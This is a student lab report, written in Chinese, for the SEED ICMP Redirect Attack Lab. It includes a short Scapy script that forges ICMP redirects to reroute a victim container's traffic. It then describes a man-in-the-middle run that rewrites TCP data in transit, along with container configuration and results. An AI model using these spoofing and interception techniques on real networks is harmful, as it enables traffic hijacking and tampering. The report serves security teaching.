ICMP Redirect Attack Lab

57118138 李嘉怡

Task 1: Launching ICMP Redirect Attack

执行 ip route：

```
root@076fef38cbb6:/# ip route
default via 10.9.0.1 dev eth0
10.9.0.0/24 dev eth0 proto kernel scope link src 10.9.0.5
192.168.60.0/24 via 10.9.0.11 dev eth0
root@076fef38cbb6:/#
```

可以看到，victim 容器目前使用 10.9.0.11（即 192.168.60.11）作为 192.168.60.0/24 的路由。在 victim-10.9.0.5 上执行 mtr -n 192.168.60.5：

```
                    My traceroute  [v0.93]
076fef38cbb6 (10.9.0.5)                2021-07-15T01:04:35+0000
Keys:  Help   Display mode   Restart statistics   Order of fields
 quit                      Packets               Pings
 Host                    Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11             0.0%    62    0.1   0.1   0.1   0.4   0.1
 2. 192.168.60.5          0.0%    62    0.1   0.2   0.1   0.4   0.1
```

ira.py：

Open ira.py ~/Desktop/Labs_20.04/Network Security/ICMP Redirect Attack Lab/Labsetup/volu... Save

```
1 #!/usr/bin/python3
2
3 from scapy.all import *
4
5 ip = IP(src = "10.9.0.11", dst = "10.9.0.5")
6 icmp = ICMP(type=5, code=0)
7 icmp.gw = "10.9.0.111"
8
9 # The enclosed IP packet should be the one that
10 # triggers the redirect message.
11 ip2 = IP(src = "10.9.0.5", dst = "192.168.60.5")
12 send(ip/icmp/ip2/ICMP())
```

在 victim-10.9.0.5 上 ping192.168.60.5,

```
[07/14/21]seed@VM:~/.../volumes$ docksh 0
root@076fef38cbb6:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.162 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.155 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.177 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.140 ms
64 bytes from 192.168.60.5: icmp_seq=5 ttl=63 time=0.141 ms
64 bytes from 192.168.60.5: icmp_seq=6 ttl=63 time=0.123 ms
64 bytes from 192.168.60.5: icmp_seq=7 ttl=63 time=0.129 ms
64 bytes from 192.168.60.5: icmp_seq=8 ttl=63 time=0.096 ms
64 bytes from 192.168.60.5: icmp_seq=9 ttl=63 time=0.130 ms
64 bytes from 192.168.60.5: icmp_seq=10 ttl=63 time=0.071 ms
64 bytes from 192.168.60.5: icmp_seq=11 ttl=63 time=0.132 ms
64 bytes from 192.168.60.5: icmp_seq=12 ttl=63 time=0.134 ms
64 bytes from 192.168.60.5: icmp_seq=13 ttl=63 time=0.127 ms
64 bytes from 192.168.60.5: icmp_seq=14 ttl=63 time=0.134 ms
64 bytes from 192.168.60.5: icmp_seq=15 ttl=63 time=0.157 ms
64 bytes from 192.168.60.5: icmp_seq=16 ttl=63 time=0.123 ms
64 bytes from 192.168.60.5: icmp_seq=17 ttl=63 time=0.131 ms
64 bytes from 192.168.60.5: icmp_seq=18 ttl=63 time=0.098 ms
64 bytes from 192.168.60.5: icmp_seq=19 ttl=63 time=0.103 ms
```

随后在 attacker-10.9.0.105 上执行 ira.py

```
root@8777f784ae83:/volumes# ./ira.py
.
Sent 1 packets.
root@8777f784ae83:/volumes#
```

查看 victim-10.9.0.5 的路由缓存，

```
root@076fef38cbb6:/# ip route show cache
192.168.60.5 via 10.9.0.111 dev eth0
    cache <redirected> expires 213sec
```

查看 victim-10.9.0.5 的路由路径，

```
Keys:  Help   Display mode   Restart statistics   Order of fields
 quit                      Packets               Pings
 Host                   Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.111           0.0%    52    0.2   0.4   0.1  11.1   1.5
 2. 10.9.0.11            0.0%    52    0.2   0.2   0.1   0.7   0.1
 3. 192.168.60.5         0.0%    52    0.1   0.2   0.1   0.4   0.1
```

根据以上截图可以判断，攻击成功。

Q1：

重定向到其他地址：icmp.gw=10.103.186.61,使 victim-10.9.0.5 ping192.168.60.5,并在 attacker-10.9.0.105 上执行 ira.py，查看路由缓存和路由路径：

```
Keys:  Help   Display mode   Restart statistics   Order of fields
 quit                      Packets               Pings
 Host                   Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11            0.0%    38    0.2   0.1   0.1   0.3   0.0
 2. 192.168.60.5         0.0%    37    0.1   0.2   0.1   0.4   0.1
```

攻击失败，原因可能是由于是无法直连外网主机，因此寻找不到外网主机。

Q2：

重定向到本网段内的不存在主机的地址：icmp.gw=10.9.0.15,使 victim-10.9.0.5 ping192.168.60.5,并在 attacker-10.9.0.105 上执行 ira.py，查看路由缓存和路由路径

```
Keys:  Help   Display mode   Restart statistics   Order of fields
 quit                      Packets               Pings
 Host                   Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11            0.0%     9    0.1   0.2   0.1   0.2   0.0
 2. 192.168.60.5         0.0%     8    0.1   0.2   0.1   0.4   0.1
```

发现攻击失败。可能是因为是不存在这个地址的主机，因此寻找不到目标。

Q3：

查看 docker-compose.yml 文件，修改其 sysctls 属性为：

```
sysctls:
        - net.ipv4.ip_forward=1
        - net.ipv4.conf.all.send_redirects=1
        - net.ipv4.conf.default.send_redirects=1
        - net.ipv4.conf.eth0.send_redirects=1
```

使 victim-10.9.0.5 ping192.168.60.5,并在 attacker-10.9.0.105 上执行 ira.py，查看路由缓存和路由路径。

```
root@4749d272fef8:/# ping 192.168.60.5
PING 192.168.60.5 (192.168.60.5) 56(84) bytes of data.
64 bytes from 192.168.60.5: icmp_seq=1 ttl=63 time=0.101 ms
64 bytes from 192.168.60.5: icmp_seq=2 ttl=63 time=0.138 ms
64 bytes from 192.168.60.5: icmp_seq=3 ttl=63 time=0.140 ms
64 bytes from 192.168.60.5: icmp_seq=4 ttl=63 time=0.133 ms
64 bytes from 192.168.60.5: icmp_seq=5 ttl=63 time=0.188 ms
64 bytes from 192.168.60.5: icmp_seq=6 ttl=63 time=0.191 ms
From 10.9.0.111: icmp_seq=7 Redirect Host(New nexthop: 10.9.0.11)
64 bytes from 192.168.60.5: icmp_seq=7 ttl=63 time=0.162 ms
64 bytes from 192.168.60.5: icmp_seq=8 ttl=63 time=0.207 ms
```

```
Keys:  Help   Display mode   Restart statistics   Order of fields
 quit                      Packets               Pings
 Host                   Loss%   Snt   Last   Avg  Best  Wrst StDev
 1. 10.9.0.11            0.0%    12    0.1   0.2   0.1   0.4   0.1
 2. 192.168.60.5         0.0%    12    0.1   0.2   0.1   0.3   0.1
```

发现 victim-10.9.0.5 收到了 10.9.0.111 重定向报文，但攻击失败。可能因为是开启了 Malicious Router-10.9.0.111 的 ICMP 重定向功能。Victim-10.9.0.5 遭受攻击向其寻址时，Malicious Router-10.9.0.111 返回了重定向报文，将其定向到了默认网关，纠正了错误。

Task 2: Launching the MITM Attack

修改 docker-compose.yml 文件，将 net.ipv4.ip_forward 设置为 0

```
malicious-router:
    image: handsonsecurity/seed-ubuntu:large
    container_name: malicious-router-10.9.0.111
    tty: true
    cap_add:
            - ALL
    sysctls:
            - net.ipv4.ip_forward=0
            - net.ipv4.conf.all.send_redirects=0
            - net.ipv4.conf.default.send_redirects=0
            - net.ipv4.conf.eth0.send_redirects=0
    privileged: true
```

在 host-192.168.60.5 上执行 nc -lp 9090，在 victim-10.9.0.5 上执行 nc 192.168.60.5 9090，建立 tcp 连接。

```
[07/14/21]seed@VM:~/.../Labsetup$ docksh 21
root@2179c448fa6b:/# nc 192.168.60.5 9090
1234
```

完成程序 mitm_sample.py，将 tcp 报文 data 中的’seedlabs’字段改为’57118138’。先执行 icmp 重定向攻击到 10.9.0.105 中，随后建立上述 tcp 连接，并在 10.9.0.105 上执行上述程序，发现攻击成功。

```
root@b334dacf9f1c:/# nc -lp 9090
57118138
```

Q1：

只需要捕获从 victim-10.9.0.5 到 host-192.168.60.5 的报文即可，因为 tcp 连接中信息源来自 victim。

Q2：

Filter=’ tcp and src 10.9.0.5’ 时，发现 mitm 攻击成功，但 mitm_sample.py 程序无限循环发包。

在 victim-10.9.0.5 上运行 ifconfig，查看 eth0 网卡对应的 mac 地址为 02:42:0a:09:00:05。

```
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 10.9.0.5  netmask 255.255.255.0  broadcast 10.9.0.255
        ether 02:42:0a:09:00:05  txqueuelen 0  (Ethernet)
        RX packets 3045  bytes 232377 (232.3 KB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 222  bytes 17774 (17.7 KB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

修改 filter=’ tcp and ether src 02:42:0a:09:00:05’，再次执行攻击。

```
root@b334dacf9f1c:/# nc -lp 9090
57118138
```

攻击仍然成功，mitm_sample.py 运行结果为：

```
root@32a48fe78c56:/volumes# ./mitm_sample.py
LAUNCHING MITM ATTACK.........
.
Sent 1 packets.
.
Sent 1 packets.
*** b'seedlabs\n', length: 9
.
Sent 1 packets.
```

发现程序仅发了一个包。原因是对 IP 进行过滤会导致程序捕捉到自己发送的欺骗包，导致无限循环；而根据 MAC 地址只会一开始 10.9.0.5 发出的包会被捕捉到。